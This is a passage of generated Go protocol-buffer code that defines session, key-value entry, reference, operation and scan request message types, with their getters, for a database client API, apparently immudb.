(*OpenSessionRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{12}\n}\n\nfunc (x *OpenSessionRequest) GetUsername() []byte {\n\tif x != nil {\n\t\treturn x.Username\n\t}\n\treturn nil\n}\n\nfunc (x *OpenSessionRequest) GetPassword() []byte {\n\tif x != nil {\n\t\treturn x.Password\n\t}\n\treturn nil\n}\n\nfunc (x *OpenSessionRequest) GetDatabaseName() string {\n\tif x != nil {\n\t\treturn x.DatabaseName\n\t}\n\treturn \"\"\n}\n\ntype OpenSessionResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Id of the new session\n\tSessionID string `protobuf:\"bytes,1,opt,name=sessionID,proto3\" json:\"sessionID,omitempty\"`\n\t// UUID of the server\n\tServerUUID string `protobuf:\"bytes,2,opt,name=serverUUID,proto3\" json:\"serverUUID,omitempty\"`\n}\n\nfunc (x *OpenSessionResponse) Reset() {\n\t*x = OpenSessionResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[13]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *OpenSessionResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*OpenSessionResponse) ProtoMessage() {}\n\nfunc (x *OpenSessionResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[13]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use OpenSessionResponse.ProtoReflect.Descriptor instead.\nfunc (*OpenSessionResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{13}\n}\n\nfunc (x *OpenSessionResponse) GetSessionID() string {\n\tif x != nil {\n\t\treturn x.SessionID\n\t}\n\treturn \"\"\n}\n\nfunc (x *OpenSessionResponse) GetServerUUID() string {\n\tif x != nil {\n\t\treturn x.ServerUUID\n\t}\n\treturn \"\"\n}\n\ntype Precondition struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Types that are assignable to Precondition:\n\t//\n\t//\t*Precondition_KeyMustExist\n\t//\t*Precondition_KeyMustNotExist\n\t//\t*Precondition_KeyNotModifiedAfterTX\n\tPrecondition isPrecondition_Precondition `protobuf_oneof:\"precondition\"`\n}\n\nfunc (x *Precondition) Reset() {\n\t*x = Precondition{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[14]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Precondition) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Precondition) ProtoMessage() {}\n\nfunc (x *Precondition) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[14]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Precondition.ProtoReflect.Descriptor instead.\nfunc (*Precondition) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{14}\n}\n\nfunc (m *Precondition) GetPrecondition() isPrecondition_Precondition {\n\tif m != nil {\n\t\treturn m.Precondition\n\t}\n\treturn nil\n}\n\nfunc (x *Precondition) GetKeyMustExist() *Precondition_KeyMustExistPrecondition {\n\tif x, ok := x.GetPrecondition().(*Precondition_KeyMustExist); ok {\n\t\treturn x.KeyMustExist\n\t}\n\treturn nil\n}\n\nfunc (x *Precondition) GetKeyMustNotExist() *Precondition_KeyMustNotExistPrecondition {\n\tif x, ok := x.GetPrecondition().(*Precondition_KeyMustNotExist); ok {\n\t\treturn x.KeyMustNotExist\n\t}\n\treturn nil\n}\n\nfunc (x *Precondition) GetKeyNotModifiedAfterTX() *Precondition_KeyNotModifiedAfterTXPrecondition {\n\tif x, ok := x.GetPrecondition().(*Precondition_KeyNotModifiedAfterTX); ok {\n\t\treturn x.KeyNotModifiedAfterTX\n\t}\n\treturn nil\n}\n\ntype isPrecondition_Precondition interface {\n\tisPrecondition_Precondition()\n}\n\ntype Precondition_KeyMustExist struct {\n\tKeyMustExist *Precondition_KeyMustExistPrecondition `protobuf:\"bytes,1,opt,name=keyMustExist,proto3,oneof\"`\n}\n\ntype Precondition_KeyMustNotExist struct {\n\tKeyMustNotExist *Precondition_KeyMustNotExistPrecondition `protobuf:\"bytes,2,opt,name=keyMustNotExist,proto3,oneof\"`\n}\n\ntype Precondition_KeyNotModifiedAfterTX struct {\n\tKeyNotModifiedAfterTX *Precondition_KeyNotModifiedAfterTXPrecondition `protobuf:\"bytes,3,opt,name=keyNotModifiedAfterTX,proto3,oneof\"`\n}\n\nfunc (*Precondition_KeyMustExist) isPrecondition_Precondition() {}\n\nfunc (*Precondition_KeyMustNotExist) isPrecondition_Precondition() {}\n\nfunc (*Precondition_KeyNotModifiedAfterTX) isPrecondition_Precondition() {}\n\ntype KeyValue struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tKey      []byte      `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n\tValue    []byte      `protobuf:\"bytes,2,opt,name=value,proto3\" json:\"value,omitempty\"`\n\tMetadata *KVMetadata `protobuf:\"bytes,3,opt,name=metadata,proto3\" json:\"metadata,omitempty\"`\n}\n\nfunc (x *KeyValue) Reset() {\n\t*x = KeyValue{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[15]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *KeyValue) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*KeyValue) ProtoMessage() {}\n\nfunc (x *KeyValue) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[15]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use KeyValue.ProtoReflect.Descriptor instead.\nfunc (*KeyValue) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{15}\n}\n\nfunc (x *KeyValue) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *KeyValue) GetValue() []byte {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn nil\n}\n\nfunc (x *KeyValue) GetMetadata() *KVMetadata {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\ntype Entry struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction id at which the target value was set (i.e. not the reference transaction id)\n\tTx uint64 `protobuf:\"varint,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// Key of the target value (i.e. not the reference entry)\n\tKey []byte `protobuf:\"bytes,2,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// Value\n\tValue []byte `protobuf:\"bytes,3,opt,name=value,proto3\" json:\"value,omitempty\"`\n\t// If the request was for a reference, this field will keep information about the reference entry\n\tReferencedBy *Reference `protobuf:\"bytes,4,opt,name=referencedBy,proto3\" json:\"referencedBy,omitempty\"`\n\t// Metadata of the target entry (i.e. not the reference entry)\n\tMetadata *KVMetadata `protobuf:\"bytes,5,opt,name=metadata,proto3\" json:\"metadata,omitempty\"`\n\t// If set to true, this entry has expired and the value is not retrieved\n\tExpired bool `protobuf:\"varint,6,opt,name=expired,proto3\" json:\"expired,omitempty\"`\n\t// Key's revision, in case of GetAt it will be 0\n\tRevision uint64 `protobuf:\"varint,7,opt,name=revision,proto3\" json:\"revision,omitempty\"`\n}\n\nfunc (x *Entry) Reset() {\n\t*x = Entry{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[16]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Entry) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Entry) ProtoMessage() {}\n\nfunc (x *Entry) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[16]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Entry.ProtoReflect.Descriptor instead.\nfunc (*Entry) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{16}\n}\n\nfunc (x *Entry) GetTx() uint64 {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn 0\n}\n\nfunc (x *Entry) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *Entry) GetValue() []byte {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn nil\n}\n\nfunc (x *Entry) GetReferencedBy() *Reference {\n\tif x != nil {\n\t\treturn x.ReferencedBy\n\t}\n\treturn nil\n}\n\nfunc (x *Entry) GetMetadata() *KVMetadata {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\nfunc (x *Entry) GetExpired() bool {\n\tif x != nil {\n\t\treturn x.Expired\n\t}\n\treturn false\n}\n\nfunc (x *Entry) GetRevision() uint64 {\n\tif x != nil {\n\t\treturn x.Revision\n\t}\n\treturn 0\n}\n\ntype Reference struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Transaction if when the reference key was set\n\tTx uint64 `protobuf:\"varint,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// Reference key\n\tKey []byte `protobuf:\"bytes,2,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference\n\tAtTx uint64 `protobuf:\"varint,3,opt,name=atTx,proto3\" json:\"atTx,omitempty\"`\n\t// Metadata of the reference entry\n\tMetadata *KVMetadata `protobuf:\"bytes,4,opt,name=metadata,proto3\" json:\"metadata,omitempty\"`\n\t// Revision of the reference entry\n\tRevision uint64 `protobuf:\"varint,5,opt,name=revision,proto3\" json:\"revision,omitempty\"`\n}\n\nfunc (x *Reference) Reset() {\n\t*x = Reference{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[17]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Reference) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Reference) ProtoMessage() {}\n\nfunc (x *Reference) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[17]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Reference.ProtoReflect.Descriptor instead.\nfunc (*Reference) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{17}\n}\n\nfunc (x *Reference) GetTx() uint64 {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn 0\n}\n\nfunc (x *Reference) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *Reference) GetAtTx() uint64 {\n\tif x != nil {\n\t\treturn x.AtTx\n\t}\n\treturn 0\n}\n\nfunc (x *Reference) GetMetadata() *KVMetadata {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\nfunc (x *Reference) GetRevision() uint64 {\n\tif x != nil {\n\t\treturn x.Revision\n\t}\n\treturn 0\n}\n\ntype Op struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Types that are assignable to Operation:\n\t//\n\t//\t*Op_Kv\n\t//\t*Op_ZAdd\n\t//\t*Op_Ref\n\tOperation isOp_Operation `protobuf_oneof:\"operation\"`\n}\n\nfunc (x *Op) Reset() {\n\t*x = Op{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[18]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Op) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Op) ProtoMessage() {}\n\nfunc (x *Op) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[18]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Op.ProtoReflect.Descriptor instead.\nfunc (*Op) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{18}\n}\n\nfunc (m *Op) GetOperation() isOp_Operation {\n\tif m != nil {\n\t\treturn m.Operation\n\t}\n\treturn nil\n}\n\nfunc (x *Op) GetKv() *KeyValue {\n\tif x, ok := x.GetOperation().(*Op_Kv); ok {\n\t\treturn x.Kv\n\t}\n\treturn nil\n}\n\nfunc (x *Op) GetZAdd() *ZAddRequest {\n\tif x, ok := x.GetOperation().(*Op_ZAdd); ok {\n\t\treturn x.ZAdd\n\t}\n\treturn nil\n}\n\nfunc (x *Op) GetRef() *ReferenceRequest {\n\tif x, ok := x.GetOperation().(*Op_Ref); ok {\n\t\treturn x.Ref\n\t}\n\treturn nil\n}\n\ntype isOp_Operation interface {\n\tisOp_Operation()\n}\n\ntype Op_Kv struct {\n\t// Modify / add simple KV value\n\tKv *KeyValue `protobuf:\"bytes,1,opt,name=kv,proto3,oneof\"`\n}\n\ntype Op_ZAdd struct {\n\t// Modify / add sorted set entry\n\tZAdd *ZAddRequest `protobuf:\"bytes,2,opt,name=zAdd,proto3,oneof\"`\n}\n\ntype Op_Ref struct {\n\t// Modify / add reference\n\tRef *ReferenceRequest `protobuf:\"bytes,3,opt,name=ref,proto3,oneof\"`\n}\n\nfunc (*Op_Kv) isOp_Operation() {}\n\nfunc (*Op_ZAdd) isOp_Operation() {}\n\nfunc (*Op_Ref) isOp_Operation() {}\n\ntype ExecAllRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of operations to perform\n\tOperations []*Op `protobuf:\"bytes,1,rep,name=Operations,proto3\" json:\"Operations,omitempty\"`\n\t// If set to true, do not wait for indexing to process this transaction\n\tNoWait bool `protobuf:\"varint,2,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// Preconditions to check\n\tPreconditions []*Precondition `protobuf:\"bytes,3,rep,name=preconditions,proto3\" json:\"preconditions,omitempty\"`\n}\n\nfunc (x *ExecAllRequest) Reset() {\n\t*x = ExecAllRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[19]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ExecAllRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ExecAllRequest) ProtoMessage() {}\n\nfunc (x *ExecAllRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[19]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ExecAllRequest.ProtoReflect.Descriptor instead.\nfunc (*ExecAllRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{19}\n}\n\nfunc (x *ExecAllRequest) GetOperations() []*Op {\n\tif x != nil {\n\t\treturn x.Operations\n\t}\n\treturn nil\n}\n\nfunc (x *ExecAllRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *ExecAllRequest) GetPreconditions() []*Precondition {\n\tif x != nil {\n\t\treturn x.Preconditions\n\t}\n\treturn nil\n}\n\ntype Entries struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of entries\n\tEntries []*Entry `protobuf:\"bytes,1,rep,name=entries,proto3\" json:\"entries,omitempty\"`\n}\n\nfunc (x *Entries) Reset() {\n\t*x = Entries{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[20]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Entries) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Entries) ProtoMessage() {}\n\nfunc (x *Entries) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[20]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Entries.ProtoReflect.Descriptor instead.\nfunc (*Entries) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{20}\n}\n\nfunc (x *Entries) GetEntries() []*Entry {\n\tif x != nil {\n\t\treturn x.Entries\n\t}\n\treturn nil\n}\n\ntype ZEntry struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Name of the sorted set\n\tSet []byte `protobuf:\"bytes,1,opt,name=set,proto3\" json:\"set,omitempty\"`\n\t// Referenced key\n\tKey []byte `protobuf:\"bytes,2,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// Referenced entry\n\tEntry *Entry `protobuf:\"bytes,3,opt,name=entry,proto3\" json:\"entry,omitempty\"`\n\t// Sorted set element's score\n\tScore float64 `protobuf:\"fixed64,4,opt,name=score,proto3\" json:\"score,omitempty\"`\n\t// At which transaction the key is bound,\n\t// 0 if reference is not bound and should read the most recent reference\n\tAtTx uint64 `protobuf:\"varint,5,opt,name=atTx,proto3\" json:\"atTx,omitempty\"`\n}\n\nfunc (x *ZEntry) Reset() {\n\t*x = ZEntry{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[21]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ZEntry) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ZEntry) ProtoMessage() {}\n\nfunc (x *ZEntry) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[21]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ZEntry.ProtoReflect.Descriptor instead.\nfunc (*ZEntry) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{21}\n}\n\nfunc (x *ZEntry) GetSet() []byte {\n\tif x != nil {\n\t\treturn x.Set\n\t}\n\treturn nil\n}\n\nfunc (x *ZEntry) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *ZEntry) GetEntry() *Entry {\n\tif x != nil {\n\t\treturn x.Entry\n\t}\n\treturn nil\n}\n\nfunc (x *ZEntry) GetScore() float64 {\n\tif x != nil {\n\t\treturn x.Score\n\t}\n\treturn 0\n}\n\nfunc (x *ZEntry) GetAtTx() uint64 {\n\tif x != nil {\n\t\treturn x.AtTx\n\t}\n\treturn 0\n}\n\ntype ZEntries struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tEntries []*ZEntry `protobuf:\"bytes,1,rep,name=entries,proto3\" json:\"entries,omitempty\"`\n}\n\nfunc (x *ZEntries) Reset() {\n\t*x = ZEntries{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[22]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ZEntries) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ZEntries) ProtoMessage() {}\n\nfunc (x *ZEntries) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[22]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ZEntries.ProtoReflect.Descriptor instead.\nfunc (*ZEntries) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{22}\n}\n\nfunc (x *ZEntries) GetEntries() []*ZEntry {\n\tif x != nil {\n\t\treturn x.Entries\n\t}\n\treturn nil\n}\n\ntype ScanRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// If not empty, continue scan at (when inclusiveSeek == true)\n\t// or after (when inclusiveSeek == false) that key\n\tSeekKey []byte `protobuf:\"bytes,1,opt,name=seekKey,proto3\" json:\"seekKey,omitempty\"`\n\t// stop at (when inclusiveEnd == true)\n\t// or before (when inclusiveEnd == false) that key\n\tEndKey []byte `protobuf:\"bytes,7,opt,name=endKey,proto3\" json:\"endKey,omitempty\"`\n\t// search for entries with this prefix only\n\tPrefix []byte `protobuf:\"bytes,2,opt,name=prefix,proto3\" json:\"prefix,omitempty\"`\n\t// If set to true, sort items in descending order\n\tDesc bool `protobuf:\"varint,3,opt,name=desc,proto3\" json:\"desc,omitempty\"`\n\t// maximum number of entries to get, if not specified, the default value is used\n\tLimit uint64 `protobuf:\"varint,4,opt,name=limit,proto3\" json:\"limit,omitempty\"`\n\t// If non-zero, only require transactions up to this transaction to be\n\t// indexed, newer transaction may still be pending\n\tSinceTx uint64 `protobuf:\"varint,5,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\t// Deprecated: If set to true, do not wait for indexing to be done before finishing this call\n\tNoWait bool `protobuf:\"varint,6,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// If set to true, results will include seekKey\n\tInclusiveSeek bool `protobuf:\"varint,8,opt,name=inclusiveSeek,proto3\" json:\"inclusiveSeek,omitempty\"`\n\t// If set to true, results will include endKey if needed\n\tInclusiveEnd bool `protobuf:\"varint,9,opt,name=inclusiveEnd,proto3\" json:\"inclusiveEnd,omitempty\"`\n\t// Specify the initial entry to be returned by excluding the initial set of entries\n\tOffset uint64 `protobuf:\"varint,10,opt,name=offset,proto3\" json:\"offset,omitempty\"`\n}\n\nfunc (x *ScanRequest) Reset() {\n\t*x = ScanRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[23]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ScanRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ScanRequest) ProtoMessage() {}\n\nfunc (x *ScanRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[23]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ScanRequest.ProtoReflect.Descriptor instead.\nfunc (*ScanRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{23}\n}\n\nfunc (x *ScanRequest) GetSeekKey() []byte {\n\tif x != nil {\n\t\treturn x.SeekKey\n\t}\n\treturn nil\n}\n\nfunc (x *ScanRequest) GetEndKey() []byte {\n\tif x != nil {\n\t\treturn x.EndKey\n\t}\n\treturn nil\n}\n\nfunc (x *ScanRequest) GetPrefix() []byte {\n\tif x != nil {\n\t\treturn x.Prefix\n\t}\n\treturn nil\n}\n\nfunc (x *ScanRequest) GetDesc() bool {\n\tif x != nil {\n\t\treturn x.Desc\n\t}\n\treturn false\n}\n\nfunc (x *ScanRequest) GetLimit() uint64 {\n\tif x != nil {\n\t\treturn x.Limit\n\t}\n\treturn 0\n}\n\nfunc (x *ScanRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *ScanRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *ScanRequest) GetInclusiveSeek() bool {\n\tif x != nil {\n\t\treturn x.InclusiveSeek\n\t}\n\treturn false\n}\n\nfunc (x *ScanRequest) GetInclusiveEnd() bool {\n\tif x != nil {\n\t\treturn x.InclusiveEnd\n\t}\n\treturn false\n}\n\nfunc (x *ScanRequest) GetOffset() uint64 {\n\tif x != nil {\n\t\treturn x.Offset\n\t}\n\treturn 0\n}\n\ntype KeyPrefix struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tPrefix []byte `protobuf:\"bytes,1,opt,name=prefix,proto3\" json:\"prefix,omitempty\"`\n}\n\nfunc (x *KeyPrefix) Reset() {\n\t*x = KeyPrefix{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[24]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *KeyPrefix) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*KeyPrefix) ProtoMessage() {}\n\nfunc (x *KeyPrefix) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[24]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use KeyPrefix.ProtoReflect.Descriptor instead.\nfunc (*KeyPrefix) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{24}\n}\n\nfunc (x *KeyPrefix) GetPrefix() []byte {\n\tif x != nil {\n\t\treturn x.Prefix\n\t}\n\treturn nil\n}\n\ntype EntryCount struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCount uint64 `protobuf:\"varint,1,opt,name=count,proto3\" json:\"count,omitempty\"`\n}\n\nfunc (x *EntryCount) Reset() {\n\t*x = EntryCount{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[25]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *EntryCount) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*EntryCount) ProtoMessage() {}\n\nfunc (x *EntryCount) ProtoReflect() protoreflect.Message {\n\tmi := 